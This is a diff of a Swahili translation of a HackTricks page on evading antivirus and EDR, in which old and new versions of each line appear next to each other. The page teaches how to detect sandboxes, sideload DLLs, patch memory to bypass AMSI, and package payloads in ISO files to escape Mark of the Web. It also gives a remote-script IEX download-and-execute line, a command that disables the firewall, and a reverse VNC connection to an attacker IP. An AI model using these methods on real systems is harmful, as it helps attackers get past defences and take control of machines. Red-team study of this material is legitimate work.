Ikiwa unavutiwa na **kazi ya udukuzi** na kudukuza yasiyoweza kudukuliwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
Ikiwa unavutiwa na **kazi ya udukuzi** na kudukuza yasiyoweza kudukuliwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -29,7 +29,7 @@ Kwa sasa, AVs hutumia mbinu tofauti za kuangalia ikiwa faili ni mbaya au la, ugu
### **Static detection**
Ugunduzi wa statiki unapatikana kwa kuashiria nyuzi au safu za byte zinazojulikana kuwa mbaya katika binary au script, na pia kutoa taarifa kutoka kwa faili yenyewe (mfano, maelezo ya faili, jina la kampuni, saini za kidijitali, ikoni, checksum, n.k.). Hii inamaanisha kwamba kutumia zana za umma zinazojulikana kunaweza kukufanya ukamatwe kwa urahisi zaidi, kwani huenda zimechambuliwa na kuashiriwa kama mbaya. Kuna njia kadhaa za kuzunguka aina hii ya ugunduzi:
Ugunduzi wa statiki unapatikana kwa kuashiria nyuzi au safu za byte zinazojulikana kuwa mbaya katika binary au script, na pia kutoa taarifa kutoka kwa faili yenyewe (mfano, maelezo ya faili, jina la kampuni, saini za dijitali, ikoni, checksum, nk.). Hii inamaanisha kwamba kutumia zana za umma zinazojulikana kunaweza kukusababisha kukamatwa kwa urahisi zaidi, kwani huenda zimechambuliwa na kuashiriwa kama mbaya. Kuna njia kadhaa za kuzunguka aina hii ya ugunduzi:
* **Encryption**
@ -44,20 +44,20 @@ Wakati mwingine unachohitaji kufanya ni kubadilisha nyuzi fulani katika binary a
Ikiwa unaunda zana zako mwenyewe, hakutakuwa na saini mbaya zinazojulikana, lakini hii inachukua muda na juhudi nyingi.
{% hint style="info" %}
Njia nzuri ya kuangalia dhidi ya ugunduzi wa statiki wa Windows Defender ni [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Kimsingi inagawanya faili katika sehemu nyingi kisha inamwambia Defender kuchanganua kila moja kwa moja, kwa njia hii, inaweza kukuambia ni zipi zilizoashiriwa katika binary yako.
Njia nzuri ya kuangalia dhidi ya ugunduzi wa statiki wa Windows Defender ni [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Kimsingi inagawanya faili katika sehemu nyingi kisha inamwambia Defender kuchanganua kila moja kwa wakati mmoja, kwa njia hii, inaweza kukuambia ni zipi nyuzi au byte zilizoorodheshwa katika binary yako.
{% endhint %}
Ninapendekeza uangalie hii [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) kuhusu AV Evasion ya vitendo.
### **Dynamic analysis**
Uchambuzi wa dinamik ni wakati AV inakimbiza binary yako kwenye sandbox na kuangalia shughuli mbaya (mfano, kujaribu kufungua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, n.k.). Sehemu hii inaweza kuwa ngumu zaidi kufanya kazi nayo, lakini hapa kuna mambo kadhaa unayoweza kufanya ili kuzuia sandboxes.
Uchambuzi wa dinamik ni wakati AV inakimbiza binary yako kwenye sandbox na kuangalia shughuli mbaya (mfano, kujaribu kufungua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, nk.). Sehemu hii inaweza kuwa ngumu kidogo kufanya kazi nayo, lakini hapa kuna mambo kadhaa unayoweza kufanya ili kuzuia sandboxes.
* **Sleep before execution** Kutegemea jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kupita uchambuzi wa dinamik wa AV. AVs zina muda mfupi sana wa kuchanganua faili ili zisihusishe mchakato wa mtumiaji, hivyo kutumia usingizi mrefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes nyingi za AV zinaweza tu kupuuza usingizi kulingana na jinsi ilivyotekelezwa.
* **Sleep before execution** Kutegemea jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kupita uchambuzi wa dinamik wa AV. AVs zina muda mfupi sana wa kuchanganua faili ili kusiwe na usumbufu katika mtiririko wa kazi wa mtumiaji, hivyo kutumia usingizi mrefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes nyingi za AV zinaweza tu kupuuza usingizi kulingana na jinsi ilivyotekelezwa.
* **Checking machine's resources** Kawaida Sandboxes zina rasilimali chache sana za kufanya kazi (mfano, < 2GB RAM), vinginevyo zinaweza kuharibu mashine ya mtumiaji. Unaweza pia kuwa mbunifu sana hapa, kwa mfano kwa kuangalia joto la CPU au hata kasi za mashabiki, si kila kitu kitawekwa kwenye sandbox.
* **Machine-specific checks** Ikiwa unataka kulenga mtumiaji ambaye kituo chake kimeunganishwa kwenye eneo la "contoso.local", unaweza kufanya ukaguzi kwenye eneo la kompyuta ili kuona ikiwa inalingana na ile uliyotaja, ikiwa haifai, unaweza kufanya programu yako itoke.
* **Machine-specific checks** Ikiwa unataka kulenga mtumiaji ambaye kompyuta yake imeunganishwa kwenye eneo la "contoso.local", unaweza kufanya ukaguzi kwenye eneo la kompyuta ili kuona ikiwa inalingana na ile uliyotaja, ikiwa haifai, unaweza kufanya programu yako itoke.
Inageuka kuwa jina la kompyuta la Microsoft Defender's Sandbox ni HAL9TH, hivyo, unaweza kuangalia jina la kompyuta katika malware yako kabla ya kulipuka, ikiwa jina linalingana na HAL9TH, inamaanisha uko ndani ya sandbox ya defender, hivyo unaweza kufanya programu yako itoke.
Inageuka kuwa jina la kompyuta la Sandbox la Microsoft Defender ni HAL9TH, hivyo, unaweza kuangalia jina la kompyuta katika malware yako kabla ya kulipuka, ikiwa jina linalingana na HAL9TH, inamaanisha uko ndani ya sandbox ya defender, hivyo unaweza kufanya programu yako itoke.
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>chanzo: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
@ -69,10 +69,10 @@ Kama tulivyosema hapo awali katika chapisho hili, **ztools za umma** hatimaye **
Kwa mfano, ikiwa unataka kudump LSASS, **je, unahitaji kweli kutumia mimikatz**? Au unaweza kutumia mradi mwingine ambao haujulikani sana na pia unadump LSASS.
Jibu sahihi labda ni la pili. Kuchukua mimikatz kama mfano, huenda ni moja ya, ikiwa si kipande cha malware kinachoshughulikiwa zaidi na AVs na EDRs, wakati mradi wenyewe ni mzuri sana, pia ni ndoto mbaya kufanya kazi nayo ili kuzunguka AVs, hivyo angalia tu mbadala kwa kile unachojaribu kufikia.
Jibu sahihi labda ni la pili. Kuchukua mimikatz kama mfano, huenda ni moja ya, ikiwa si kipande cha malware kilichoorodheshwa zaidi na AVs na EDRs, wakati mradi wenyewe ni mzuri sana, pia ni ndoto mbaya kufanya kazi nayo ili kuzunguka AVs, hivyo angalia tu mbadala kwa kile unachojaribu kufikia.
{% hint style="info" %}
Wakati unabadilisha payloads zako kwa ajili ya kuzuia, hakikisha **unazima uwasilishaji wa sampuli kiotomatiki** katika defender, na tafadhali, kwa dhati, **USIWEKE KATIKA VIRUSTOTAL** ikiwa lengo lako ni kufikia kuzuia kwa muda mrefu. Ikiwa unataka kuangalia ikiwa payload yako inagundulika na AV fulani, i-install kwenye VM, jaribu kuzima uwasilishaji wa sampuli kiotomatiki, na ujitahidi huko hadi uridhike na matokeo.
Wakati unabadilisha payloads zako kwa ajili ya kuzuia, hakikisha **unazima uwasilishaji wa sampuli kiotomatiki** katika defender, na tafadhali, kwa dhati, **USIWEKE KATIKA VIRUSTOTAL** ikiwa lengo lako ni kufikia kuzuia kwa muda mrefu. Ikiwa unataka kuangalia ikiwa payload yako inagundulika na AV fulani, i-install kwenye VM, jaribu kuzima uwasilishaji wa sampuli kiotomatiki, na uijaribu huko hadi uridhike na matokeo.
{% endhint %}
## EXEs vs DLLs
@ -81,9 +81,9 @@ Kila wakati inavyowezekana, daima **kipa kipaumbele kutumia DLLs kwa ajili ya ku
Kama tunavyoona katika picha hii, Payload ya DLL kutoka Havoc ina kiwango cha kugundulika cha 4/26 katika antiscan.me, wakati payload ya EXE ina kiwango cha kugundulika cha 7/26.
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me kulinganisha payload ya kawaida ya Havoc EXE dhidi ya payload ya kawaida ya Havoc DLL</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>kulinganisha antiscan.me ya payload ya kawaida ya Havoc EXE dhidi ya DLL ya kawaida ya Havoc</p></figcaption></figure>
Sasa tutawonyesha hila kadhaa unazoweza kutumia na faili za DLL ili kuwa na ufanisi zaidi.
Sasa tutakuonyesha hila kadhaa unazoweza kutumia na faili za DLL ili kuwa na ufanisi zaidi.
## DLL Sideloading & Proxying
@ -104,7 +104,7 @@ Amri hii itatoa orodha ya programu zinazoweza kuathiriwa na DLL hijacking ndani
Ninapendekeza sana **uchunguze programu zinazoweza kuathiriwa na DLL Hijackable/Sideloadable mwenyewe**, mbinu hii ni ya siri sana ikiwa itafanywa vizuri, lakini ukitumia programu zinazojulikana za DLL Sideloadable, unaweza kukamatwa kwa urahisi.
Kuweka tu DLL mbaya yenye jina ambalo programu inatarajia kupakia, hakutaleta mzigo wako, kwani programu inatarajia kazi maalum ndani ya DLL hiyo, ili kutatua tatizo hili, tutatumia mbinu nyingine inayoitwa **DLL Proxying/Forwarding**.
Kuweka tu DLL mbaya yenye jina ambalo programu inatarajia kupakia, haitapakia mzigo wako, kwani programu inatarajia kazi maalum ndani ya DLL hiyo, ili kutatua tatizo hili, tutatumia mbinu nyingine inayoitwa **DLL Proxying/Forwarding**.
**DLL Proxying** inasambaza simu ambazo programu inafanya kutoka kwa proxy (na mbaya) DLL hadi DLL asilia, hivyo kuhifadhi kazi ya programu na kuwa na uwezo wa kushughulikia utekelezaji wa mzigo wako.
@ -121,7 +121,7 @@ Hizi ndizo hatua nilizofuata:
```
{% endcode %}
Amri ya mwisho itatupa faili 2: kiolezo cha msimbo wa chanzo cha DLL, na DLL ya asili iliyobadilishwa jina.
Amri ya mwisho itatupa faili 2: kiolezo cha msimbo wa chanzo cha DLL, na DLL iliyobadilishwa jina.
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
@ -135,7 +135,7 @@ Hizi ndizo matokeo:
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Msimbo wetu wa shell (uliokodishwa na [SGN](https://github.com/EgeBalci/sgn)) na DLL ya proxy wana kiwango cha Ugunduzi wa 0/26 katika [antiscan.me](https://antiscan.me)! Ningesema hiyo ni mafanikio.
Msimbo wetu wa shell (uliokodishwa kwa [SGN](https://github.com/EgeBalci/sgn)) na DLL ya proxy wana kiwango cha Ugunduzi cha 0/26 katika [antiscan.me](https://antiscan.me)! Ningesema hiyo ni mafanikio.
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
@ -162,7 +162,7 @@ Kuepuka ni mchezo wa paka na panya, kile kinachofanya kazi leo kinaweza kugundul
## AMSI (Msingi wa Skanning ya Anti-Malware)
AMSI ilianzishwa ili kuzuia "[malware isiyo na faili](https://en.wikipedia.org/wiki/Fileless\_malware)". Awali, AVs zilikuwa na uwezo wa kuskan **faili kwenye diski**, hivyo ikiwa ungeweza kwa namna fulani kutekeleza payloads **moja kwa moja kwenye kumbukumbu**, AV haingeweza kufanya chochote kuzuia hilo, kwani haikuwa na mwonekano wa kutosha.
AMSI ilianzishwa ili kuzuia "[malware isiyo na faili](https://en.wikipedia.org/wiki/Fileless\_malware)". Awali, AV zilikuwa na uwezo wa kuskan **faili kwenye diski**, hivyo ikiwa ungeweza kwa namna fulani kutekeleza payloads **moja kwa moja kwenye kumbukumbu**, AV haingeweza kufanya chochote kuzuia hilo, kwani haikuwa na mwonekano wa kutosha.
Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows.
@ -172,9 +172,9 @@ Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows.
* JavaScript na VBScript
* Office VBA macros
Inaruhusu suluhisho za antivirus kuchunguza tabia ya script kwa kufichua maudhui ya script katika mfumo ambao haujaandikwa na haujaeleweka.
Inaruhusu suluhisho za antivirus kuchunguza tabia ya script kwa kufichua maudhui ya script katika mfumo ambao si wa siri na si wa kufichwa.
Kukimbia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` kutazalisha onyo lifuatalo kwenye Windows Defender.
Kukimbia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` kutazalisha arifa ifuatayo kwenye Windows Defender.
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
@ -224,29 +224,29 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
**Memory Patching**
Hii mbinu iligunduliwa awali na [@RastaMouse](https://twitter.com/\_RastaMouse/) na inahusisha kutafuta anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayohusika na kusafisha ingizo lililotolewa na mtumiaji) na kuandika tena na maagizo ya kurudisha msimbo wa E\_INVALIDARG, kwa njia hii, matokeo ya uchunguzi halisi yatarudisha 0, ambayo inatafsiriwa kama matokeo safi.
Teknolojia hii iligunduliwa awali na [@RastaMouse](https://twitter.com/\_RastaMouse/) na inahusisha kutafuta anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayohusika na kusafisha ingizo lililotolewa na mtumiaji) na kuandika upya na maagizo ya kurudisha msimbo wa E\_INVALIDARG, kwa njia hii, matokeo ya uchunguzi halisi yatarudisha 0, ambayo inatafsiriwa kama matokeo safi.
{% hint style="info" %}
Tafadhali soma [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) kwa maelezo zaidi.
{% endhint %}
Kuna pia mbinu nyingi nyingine zinazotumika kupita AMSI kwa powershell, angalia [**hii ukurasa**](basic-powershell-for-pentesters/#amsi-bypass) na [hii repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kujifunza zaidi kuhusu hizo.
Kuna pia mbinu nyingi nyingine zinazotumika kupita AMSI kwa kutumia powershell, angalia [**ukurasa huu**](basic-powershell-for-pentesters/#amsi-bypass) na [repo hii](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kujifunza zaidi kuhusu hizo.
Au hii script ambayo kupitia memory patching itafanya patch kila mpya Powersh
Au hii skripti ambayo kupitia urekebishaji wa kumbukumbu itarekebisha kila Powersh mpya
## Obfuscation
Kuna zana kadhaa ambazo zinaweza kutumika ku **obfuscate C# clear-text code**, kuunda **metaprogramming templates** za kukusanya binaries au **obfuscate compiled binaries** kama vile:
Kuna zana kadhaa ambazo zinaweza kutumika ku **ficha msimbo wa C# wa wazi**, kuunda **mifano ya metaprogramming** ili kukusanya binaries au **kuficha binaries zilizokusanywa** kama vile:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lengo la mradi huu ni kutoa toleo la wazi la [LLVM](http://www.llvm.org/) compilation suite inayoweza kutoa usalama wa programu ulioimarishwa kupitia [code obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) na kuzuia mabadiliko.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator inaonyesha jinsi ya kutumia lugha ya `C++11/14` kuunda, wakati wa kukusanya, msimbo uliofichwa bila kutumia zana yoyote ya nje na bila kubadilisha mkusanyaji.
* [**obfy**](https://github.com/fritzone/obfy): Ongeza safu ya operesheni zilizofichwa zinazozalishwa na mfumo wa metaprogramming wa C++ template ambao utaifanya maisha ya mtu anayetaka kuvunja programu kuwa magumu kidogo.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ni obfuscator wa x64 binary ambaye anaweza kuficha aina mbalimbali za faili za pe ikiwa ni pamoja na: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame ni injini rahisi ya metamorphic code kwa ajili ya executable zisizo na mipaka.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ni mfumo wa kuficha msimbo wa kiwango kidogo kwa lugha zinazoungwa mkono na LLVM kwa kutumia ROP (return-oriented programming). ROPfuscator inaficha programu katika kiwango cha msimbo wa mkusanyiko kwa kubadilisha maagizo ya kawaida kuwa ROP chains, ikizuia dhana yetu ya kawaida ya mtiririko wa kudhibiti wa kawaida.
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Kificha msimbo wa C#**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lengo la mradi huu ni kutoa toleo la chanzo wazi la [LLVM](http://www.llvm.org/) suite ya kukusanya inayoweza kutoa usalama wa programu ulioimarishwa kupitia [kuficha msimbo](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) na kuzuia mabadiliko.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator inaonyesha jinsi ya kutumia lugha ya `C++11/14` kuunda, wakati wa kukusanya, msimbo wa kufichwa bila kutumia zana yoyote ya nje na bila kubadilisha mkusanyaji.
* [**obfy**](https://github.com/fritzone/obfy): Ongeza safu ya operesheni zilizofichwa zinazozalishwa na mfumo wa metaprogramming wa C++ ambao utaifanya maisha ya mtu anayetaka kuvunja programu kuwa magumu kidogo.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ni kificha msimbo wa x64 ambacho kinaweza kuficha aina mbalimbali za faili za pe ikiwa ni pamoja na: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame ni injini rahisi ya msimbo wa metamorphic kwa ajili ya executable zisizo na mipaka.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ni mfumo wa kuficha msimbo wa kiwango kidogo kwa lugha zinazoungwa mkono na LLVM kwa kutumia ROP (programming inayotegemea kurudi). ROPfuscator inaficha programu katika kiwango cha msimbo wa mkusanyiko kwa kubadilisha maagizo ya kawaida kuwa minyororo ya ROP, ikizuia dhana yetu ya kawaida ya mtiririko wa kudhibiti wa kawaida.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt ni .NET PE Crypter iliyoandikwa kwa Nim
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor ina uwezo wa kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuziingiza
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor ina uwezo wa kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuzipeleka
## SmartScreen & MoTW
@ -256,21 +256,21 @@ Microsoft Defender SmartScreen ni mekanismu ya usalama iliyokusudiwa kulinda mtu
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen inafanya kazi hasa kwa njia ya msingi wa sifa, ikimaanisha kwamba programu zisizokuwa za kawaida zitashawishi SmartScreen hivyo kuonya na kuzuia mtumiaji wa mwisho kutekeleza faili hiyo (ingawa faili hiyo bado inaweza kutekelezwa kwa kubofya More Info -> Run anyway).
SmartScreen inafanya kazi hasa kwa njia ya msingi wa sifa, ikimaanisha kwamba programu zisizokuwa za kawaida zinazoshushwa zitasababisha SmartScreen hivyo kuonya na kuzuia mtumiaji wa mwisho kutekeleza faili hiyo (ingawa faili hiyo bado inaweza kutekelezwa kwa kubofya Taarifa Zaidi -> Endesha hata hivyo).
**MoTW** (Mark of The Web) ni [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) yenye jina la Zone.Identifier ambayo huundwa kiotomatiki wakati wa kushusha faili kutoka mtandao, pamoja na URL ambayo ilishushwa kutoka.
**MoTW** (Alama ya Mtandao) ni [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) yenye jina la Zone.Identifier ambayo huundwa kiotomatiki wakati wa kushusha faili kutoka mtandao, pamoja na URL ambayo ilishushwa kutoka.
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Kukagua Zone.Identifier ADS kwa faili iliyoshushwa kutoka mtandao.</p></figcaption></figure>
{% hint style="info" %}
Ni muhimu kutambua kwamba executable zilizosainiwa na cheti cha **kuaminika** **hazitashawishi SmartScreen**.
Ni muhimu kutambua kwamba executable zilizosainiwa kwa cheti cha **kuaminika** **hazitazindua SmartScreen**.
{% endhint %}
Njia yenye ufanisi sana ya kuzuia payloads zako kupata Mark of The Web ni kwa kuzifunga ndani ya aina fulani ya kontena kama ISO. Hii inatokea kwa sababu Mark-of-the-Web (MOTW) **haiwezi** kutumika kwa **volumes zisizo za NTFS**.
Njia yenye ufanisi sana ya kuzuia payloads zako kupata Alama ya Mtandao ni kwa kuzifunga ndani ya aina fulani ya kontena kama ISO. Hii inatokea kwa sababu Alama-ya-Mtandao (MOTW) **haiwezi** kutumika kwa **volumu zisizo za NTFS**.
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) ni zana inayofunga payloads katika kontena za matokeo ili kuepuka Mark-of-the-Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) ni zana inayofunga payloads ndani ya kontena za matokeo ili kuepuka Alama-ya-Mtandao.
Mfano wa matumizi:
```powershell
@ -300,15 +300,15 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
## C# Assembly Reflection
Kupakia binaries za C# kwenye kumbukumbu kumekuwa kujulikana kwa muda mrefu na bado ni njia nzuri sana ya kuendesha zana zako za baada ya unyakuzi bila kukamatwa na AV.
Kuweka binaries za C# kwenye kumbukumbu kumekuwa kujulikana kwa muda mrefu na bado ni njia nzuri sana ya kuendesha zana zako za baada ya unyakuzi bila kukamatwa na AV.
Kwa kuwa payload itapakuliwa moja kwa moja kwenye kumbukumbu bila kugusa diski, tutahitaji tu kuwa na wasiwasi kuhusu kurekebisha AMSI kwa mchakato mzima.
Kwa kuwa payload itapakiwa moja kwa moja kwenye kumbukumbu bila kugusa diski, tutahitaji tu kuwa na wasiwasi kuhusu kurekebisha AMSI kwa mchakato mzima.
Mifumo mingi ya C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, nk.) tayari inatoa uwezo wa kutekeleza makusanyo ya C# moja kwa moja kwenye kumbukumbu, lakini kuna njia tofauti za kufanya hivyo:
* **Fork\&Run**
Inahusisha **kuanzisha mchakato mpya wa dhabihu**, ingiza msimbo wako mbaya wa baada ya unyakuzi kwenye mchakato huo mpya, tekeleza msimbo wako mbaya na unapokamilisha, uue mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unafanyika **nje** ya mchakato wetu wa Beacon implant. Hii ina maana kwamba ikiwa kitu katika hatua zetu za baada ya unyakuzi kitatokea vibaya au kukamatwa, kuna **uwezekano mkubwa** wa **implant yetu kuishi.** Hasara ni kwamba una **uwezekano mkubwa** wa kukamatwa na **Mikakati ya Tabia**.
Inahusisha **kuanzisha mchakato mpya wa dhabihu**, ingiza msimbo wako mbaya wa baada ya unyakuzi kwenye mchakato huo mpya, tekeleza msimbo wako mbaya na unapokamilisha, uue mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unafanyika **nje** ya mchakato wetu wa Beacon implant. Hii ina maana kwamba ikiwa kitu katika hatua zetu za baada ya unyakuzi kitatokea vibaya au kukamatwa, kuna **uwezekano mkubwa** wa **implant yetu kuishi.** Hasara ni kwamba una **uwezekano mkubwa** wa kukamatwa na **Uchunguzi wa Tabia**.
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
@ -326,9 +326,9 @@ You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoad
## Using Other Programming Languages
Kama ilivyopendekezwa katika [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), inawezekana kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kutoa mashine iliyoathirika **ufikiaji wa mazingira ya tafsiri yaliyojinstalled kwenye SMB share inayodhibitiwa na Mshambuliaji**.
Kama ilivyopendekezwa katika [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), inawezekana kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kutoa mashine iliyovunjwa ufikiaji **wa mazingira ya tafsiri yaliyojinstalled kwenye SMB share inayodhibitiwa na Mshambuliaji**.
Kwa kuruhusu ufikiaji wa Binaries za Mfasiri na mazingira kwenye SMB share unaweza **kutekeleza msimbo wowote katika lugha hizi ndani ya kumbukumbu** ya mashine iliyoathirika.
Kwa kuruhusu ufikiaji wa Binaries za Mfasiri na mazingira kwenye SMB share unaweza **kutekeleza msimbo wowote katika lugha hizi ndani ya kumbukumbu** ya mashine iliyovunjwa.
Repo inaonyesha: Defender bado inachunguza skripti lakini kwa kutumia Go, Java, PHP nk tuna **uwezo zaidi wa kupita saini za statiki**. Kujaribu na skripti za shell za nyuma zisizo na ufichuzi katika lugha hizi kumethibitishwa kuwa na mafanikio.
@ -370,19 +370,19 @@ netsh advfirewall set allprofiles state off
```
### UltraVNC
Pakua kutoka: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (unataka pakua bin, si usanidi)
Pakua kutoka: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (unataka upakuaji wa bin, si usanidi)
**KATIKA HOST**: Tekeleza _**winvnc.exe**_ na uweke server:
**KATIKA HOST**: Tekeleza _**winvnc.exe**_ na uweke usanidi wa seva:
* Wezesha chaguo _Disable TrayIcon_
* Weka nenosiri katika _VNC Password_
* Weka nenosiri katika _View-Only Password_
Kisha, hamasisha binary _**winvnc.exe**_ na faili **mpya** iliyoundwa _**UltraVNC.ini**_ ndani ya **mhasiriwa**
Kisha, hamasisha binari _**winvnc.exe**_ na faili **mpya** iliyoundwa _**UltraVNC.ini**_ ndani ya **mhasiriwa**
#### **Muunganisho wa kurudi**
**Mshambuliaji** anapaswa **kutekeleza ndani** ya **host** yake binary `vncviewer.exe -listen 5900` ili iwe **tayari** kukamata **muunganisho wa VNC** wa kurudi. Kisha, ndani ya **mhasiriwa**: Anza daemon ya winvnc `winvnc.exe -run` na endesha `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**Mshambuliaji** anapaswa **kutekeleza ndani** ya **host** yake binari `vncviewer.exe -listen 5900` ili iwe **tayari** kukamata **muunganisho wa VNC** wa kurudi. Kisha, ndani ya **mhasiriwa**: Anza daemon ya winvnc `winvnc.exe -run` na endesha `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**ONYO:** Ili kudumisha usiri huwezi kufanya mambo machache
@ -416,7 +416,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Mlinzi wa sasa atamaliza mchakato haraka sana.**
### Kuunda shell yetu ya nyuma
### Kuunda shell yetu ya kurudi
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
@ -569,22 +569,22 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **hacking career** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
